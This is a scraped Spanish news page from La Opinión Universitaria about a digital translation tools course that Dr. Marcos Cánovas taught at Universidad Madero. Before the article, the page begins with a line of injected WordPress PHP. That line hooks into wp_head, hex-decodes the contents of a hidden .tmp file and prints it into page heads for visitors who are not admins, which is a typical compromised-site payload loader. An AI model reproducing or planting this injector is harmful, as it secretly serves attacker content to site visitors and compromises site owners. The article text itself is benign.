if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Herramientas digitales para a traducción , se impartió en la UMAD – La Opinión Universitaria La Opinión Universitaria
Menu

Herramientas digitales para a traducción , se impartió en la UMAD

 

 

+ Académico de UVic, compartió con alumnos de Lenguas Extranjeras sus conocimientos

Un verano de gran aprendizaje fue el que vivieron los estudiantes de la Licenciatura en Lenguas Extranjeras de la Universidad Madero, al tener la oportunidad de tomar clase con el Dr. Marcos Cánovas Méndez, académico   en el Departamento de Traducción, Interpretación y Lenguas Aplicadas de la Universidad de Vic (España).

A través del curso «Herramientas Digitales para la Traducción», durante más de un mes, el experto compartió sus conocimientos, técnicas y habilidades con estudiantes de Lenguas Extranjeras, en particular aquellos que buscan especializarse en traducción e interpretación; un área del aprendizaje de idiomas con gran demanda a nivel mundial.

Esta no es la primera vez que el Dr. Cánovas realiza una estancia en la UMAD, pues como parte de los convenios de vinculación internacional e intercambios de alumnos, docentes e investigadores que tiene esta casa de estudios con otras instituciones internacionales de alto prestigio; el docente estuvo impartiendo este mismo curso en el año 2016.

De esta manera los alumnos de la UMAD pudieron aprender sobre herramientas de traducción al practicar dentro de una plataforma en línea que les permitió realizar proyectos de subtitulaje, trabajando con material real.

El Dr. Marcos Cánovas ha sido director del Departamento de Traducción, Interpretación y Lenguas Aplicadas de la Universidad de Vic. Estuvo encargado de la Implantación del grado en Traducción e Interpretación de esa universidad y ha sido director de diversas tesis doctorales y proyectos entre los que destacan «Didáctica de la traducción de la terminología jurídica en textos normativos y jurisprudenciales (inglés-español, francés-español)», «Perspectiva lingüística y cognitiva del estilo de Carlos Ruiz Zafón en La sombra del viento» y «Politeness in advertising: an analysis and translation of Politeness phenomena in the Nescafé Gold Blend advertising campaign» entre otros.

 

Dentro de sus múltiples congresos a nivel internacional ha sido coautor de artículos científicos como «Formació i tecnologies de la traducció» y «Open source software in translator training».

 

De igual manera ha sido autor de libros como: Challenges in Language and Translation Teaching in the Web 2.0 Era – capítulo: «An online course in computer skills for translators», Traducir (con) software libre – capítulo: «Herramientas libres para la traducción en entorno MS Windows», La traducción del futuro: mediación lingüística y cultural en el siglo XXI – capítulo: «Adaptación intercultural de referentes cinematográficos en la publicidad audiovisual», entre muchos otros.

 

Al finalizar el curso, los alumnos recibieron una constancia del mismo que los avala en el aprendizaje de estos conocimientos, sin duda de gran valor hoy en día en el ámbito profesional.

 

 

No comments

Deja una respuesta

Tweets recientes